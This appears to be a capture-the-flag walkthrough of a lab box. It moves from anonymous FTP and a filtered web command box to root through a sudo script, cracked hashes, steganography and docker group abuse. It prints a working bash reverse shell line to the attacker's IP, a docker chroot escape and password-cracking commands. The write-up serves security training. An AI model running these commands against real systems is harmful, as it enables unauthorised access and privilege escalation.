Nmap

First we scan for open ports

# nmap -p- -T4 -sV -sC 10.10.253.105 -oA nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 01:44 BST
Nmap scan report for 10.10.253.105
Host is up (0.032s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.18.78
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 04:08:1c:9a:55:5c:5b:58:e2:7d:4d:41:45:bd:2b:23 (RSA)
|   256 32:59:f8:b0:68:4d:69:c9:1a:db:1e:df:eb:ee:35:4d (ECDSA)
|_  256 e1:fd:71:80:f5:b9:5b:bf:e7:d4:42:96:64:43:d2:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Game Info
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.38 seconds

FTP

We can see from the nmap scan that anonymous login is allowed, so we login and get any files we can get

# ftp -A 10.10.253.105       
Connected to 10.10.253.105.
220 (vsFTPd 3.0.5)
Name (10.10.253.105:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        115          4096 Oct 03  2020 .
drwxr-xr-x    2 0        115          4096 Oct 03  2020 ..
-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt

After downloading this file and checking inside we have 2 potential usernames

# cat note.txt        
Anurodh told me that there is some filtering on strings being put in the command -- Apaar

Website

There is a website running, however it does appear to have any real functionality so we run gobuster scan.

# gobuster dir -u http://10.10.253.105 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.253.105
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://10.10.253.105/css/]
/fonts                (Status: 301) [Size: 314] [--> http://10.10.253.105/fonts/]
/images               (Status: 301) [Size: 315] [--> http://10.10.253.105/images/]
/index.html           (Status: 200) [Size: 35184]
/js                   (Status: 301) [Size: 311] [--> http://10.10.253.105/js/]
/secret               (Status: 301) [Size: 315] [--> http://10.10.253.105/secret/]
/server-status        (Status: 403) [Size: 278]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

This reveals a the “secret” directory. Visiting the path shows us what appears to be a textbox allowing for commands to run.

Certain commands would trigger the site to respond “Are you a hacker?” indicating it had caught the command and not run it, however others would run successfully. For example bash would not run, but the full path (/bin/bash) would work. Using this, a listener was started and reverse shell obtained with the following command: /bin/bash -c '/bin/bash >& /dev/tcp/10.11.18.78/6666 0>&1'

With our connection we get a more complete shell with python and check our permissions. We can see there is a script with have permission to run as another user

# rlwrap nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.11.18.78] from (UNKNOWN) [10.10.253.105] 46772

python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ip-10-10-253-105:/var/www/html/secret$ 

www-data@ip-10-10-253-105:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on ip-10-10-253-105:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ip-10-10-253-105:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

Lets have a look at the script.

www-data@ip-10-10-253-105:/var/www/html/secret$ cat /home/apaar/.helpline.sh
cat /home/apaar/.helpline.sh
#!/bin/bash

echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo

read -p "Enter the person whom you want to talk with: " person

read -p "Hello user! I am $person,  Please enter your message: " msg

$msg 2>/dev/null

echo "Thank you for your precious time!"

We can exploit this by entering “/bin/bash” as reponse to the message question. We will then we in a shell as apaar and can get the user flag from their home directory

www-data@ip-10-10-228-134:/var/www/html/secret$ sudo -u apaar /home/apaar/.helpline.sh
<html/secret$ sudo -u apaar /home/apaar/.helpline.sh

Welcome to helpdesk. Feel free to talk to anyone at any time!

Enter the person whom you want to talk with: z
z
Hello user! I am z,  Please enter your message: /bin/bash
/bin/bash


id
id
uid=1001(apaar) gid=1001(apaar) groups=1001(apaar)
cd /home/apaar
cd /home/apaar
ls
ls
local.txt
cat local.txt
cat local.txt
{USER-FLAG: e8****************************ww}

Privilege escalation

To make life easier we add a ssh key to the apaar user. We generate a file on our kali box (ssh-keygen -t ed25519) and then we can simply echo the public into /home/apaar/.ssh/authorized_keys using the reverse shell.

Looking around the box we notice a service running locally

apaar@ip-10-10-228-134:~$ ss -tulpn
Netid              State               Recv-Q              Send-Q                                Local Address:Port        
udp                UNCONN              0                   0                                     127.0.0.53%lo:53          
udp                UNCONN              0                   0                                10.10.228.134%eth0:68          
tcp                LISTEN              0                   151                                       127.0.0.1:3306        
tcp                LISTEN              0                   70                                        127.0.0.1:33060       
tcp                LISTEN              0                   4096                                  127.0.0.53%lo:53          
tcp                LISTEN              0                   128                                         0.0.0.0:22          
tcp                LISTEN              0                   511                                       127.0.0.1:9001        
tcp                LISTEN              0                   511                                               *:80          
tcp                LISTEN              0                   128                                            [::]:22          
tcp                LISTEN              0                   32                                                *:21          

So lets connect that port locally to see what it is with ssh apaar@10.10.228.134 -L 9001:localhost:9001 -i apaar.

By using a local browser to connect to the locahost:9001 we see a customer portal login.

Given we are on the box we can view the source code for the site. We find it in the /var/www/files directory. We cat out the index.php file and this reveals some mysql credentials.

apaar@ip-10-10-228-134:/var/www/files$ cat index.php 
<html>
<body>
<?php
        if(isset($_POST['submit']))
        {
                $username = $_POST['username'];
                $password = $_POST['password'];
                ob_start();
                session_start();
                try
                {
                        $con = new PDO("mysql:dbname=webportal;host=localhost","root","*************");
                        $con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_WARNING);
                }

When we checked the local listening ports earlier it also showed port 3306, so we connect to the database server and find the relevant credentials.

apaar@ip-10-10-228-134:/var/www/files$ mysql -u root -p
Enter password: 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| webportal          |
+--------------------+
5 rows in set (0.00 sec)

mysql> use webportal;
Database changed
mysql> show tables;
+---------------------+
| Tables_in_webportal |
+---------------------+
| users               |
+---------------------+
1 row in set (0.00 sec)

mysql> select * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username  | password                         |
+----+-----------+----------+-----------+----------------------------------+
|  1 | Anurodh   | Acharya  | Aurick    | 7e****************************fd |
|  2 | Apaar     | Dahal    | cullapaar | 68****************************49 |
+----+-----------+----------+-----------+----------------------------------+
2 rows in set (0.00 sec)

These look like MD5 hases so we use crackstation to get the passwords.

And then using either of the credentials we can login the website. This shows us a basic page with an image.

There is nothing hidden in the source code, and checking the files on the server there are no other pages to the site. So we download the image and look inside of it. After trying the steghide tool it extracts a zip file. This zip file is password protected though, so we need to crack it it first.

# steghide extract -sf hacker-with-laptop_23-2147985341.jpg 
Enter passphrase: 
wrote extracted data to "backup.zip".

# zip2john backup.zip > backup-zip.hash
ver 2.0 efh 5455 efh 7875 backup.zip/source_code.php PKZIP Encr: TS_chk, cmplen=554, decmplen=1211, crc=69DC82F3 ts=2297 cs=2297 type=8

# john backup-zip.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*********        (backup.zip/source_code.php)     
1g 0:00:00:00 DONE (2025-08-03 13:33) 100.0g/s 1638Kp/s 1638Kc/s 1638KC/s total90..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

With the password we can now extract the zip and look the source_code.php file within it. This reveals a base64 encoded password for Anurodh.

# cat source_code.php 
<html>
<head>
        Admin Portal
</head>
        <title> Site Under Development ... </title>
        <body>
                <form method="POST">
                        Username: <input type="text" name="name" placeholder="username"><br><br>
                        Email: <input type="email" name="email" placeholder="email"><br><br>
                        Password: <input type="password" name="password" placeholder="password">
                        <input type="submit" name="submit" value="Submit"> 
                </form>
<?php
        if(isset($_POST['submit']))
        {
                $email = $_POST["email"];
                $password = $_POST["password"];
                if(base64_encode($password) == "IW************************==")
                { 
                        $random = rand(1000,9999);?><br><br><br>
                        <form method="POST">
                                Enter the OTP: <input type="number" name="otp">
                                <input type="submit" name="submitOtp" value="Submit">
                        </form>
                <?php   mail($email,"OTP for authentication",$random);
                        if(isset($_POST["submitOtp"]))
                                {
                                        $otp = $_POST["otp"];
                                        if($otp == $random)
                                        {
                                                echo "Welcome Anurodh!";
                                                header("Location: authenticated.php");
                                        }

We decode the password and then back in our SSH session we can switch user to anurodh. What is interesting about this user is while they do not have any extra sudo permissions, they are a member of the docker group.

apaar@ip-10-10-174-251:~$ su - anurodh
Password: 
anurodh@ip-10-10-174-251:~$ sudo -l
Matching Defaults entries for anurodh on ip-10-10-174-251:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User anurodh may run the following commands on ip-10-10-174-251:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
anurodh@ip-10-10-174-251:~$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)

As detailed on GTFO Bins we can use this membership to get a root shell and grab the flag

anurodh@ip-10-10-174-251:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cd /root
# ls
proof.txt  snap
# cat /root/proof.txt


                                        {ROOT-FLAG: w1****************************bg}


Congratulations! You have successfully completed the challenge.


         ,-.-.     ,----.                                             _,.---._    .-._           ,----.  
,-..-.-./  \==\ ,-.--` , \   _.-.      _.-.             _,..---._   ,-.' , -  `. /==/ \  .-._ ,-.--` , \ 
|, \=/\=|- |==||==|-  _.-` .-,.'|    .-,.'|           /==/,   -  \ /==/_,  ,  - \|==|, \/ /, /==|-  _.-` 
|- |/ |/ , /==/|==|   `.-.|==|, |   |==|, |           |==|   _   _\==|   .=.     |==|-  \|  ||==|   `.-. 
 \, ,     _|==/==/_ ,    /|==|- |   |==|- |           |==|  .=.   |==|_ : ;=:  - |==| ,  | -/==/_ ,    / 
 | -  -  , |==|==|    .-' |==|, |   |==|, |           |==|,|   | -|==| , '='     |==| -   _ |==|    .-'  
  \  ,  - /==/|==|_  ,`-._|==|- `-._|==|- `-._        |==|  '='   /\==\ -    ,_ /|==|  /\ , |==|_  ,`-._ 
  |-  /\ /==/ /==/ ,     //==/ - , ,/==/ - , ,/       |==|-,   _`/  '.='. -   .' /==/, | |- /==/ ,     / 
  `--`  `--`  `--`-----`` `--`-----'`--`-----'        `-.`.____.'     `--`--''   `--`./  `--`--`-----``  


--------------------------------------------Designed By -------------------------------------------------------
                                        |  Anurodh Acharya |
                                        ---------------------

                                     Let me know if you liked it.

Twitter
        - @acharya_anurodh
Linkedin
        - www.linkedin.com/in/anurodh-acharya-b1937116a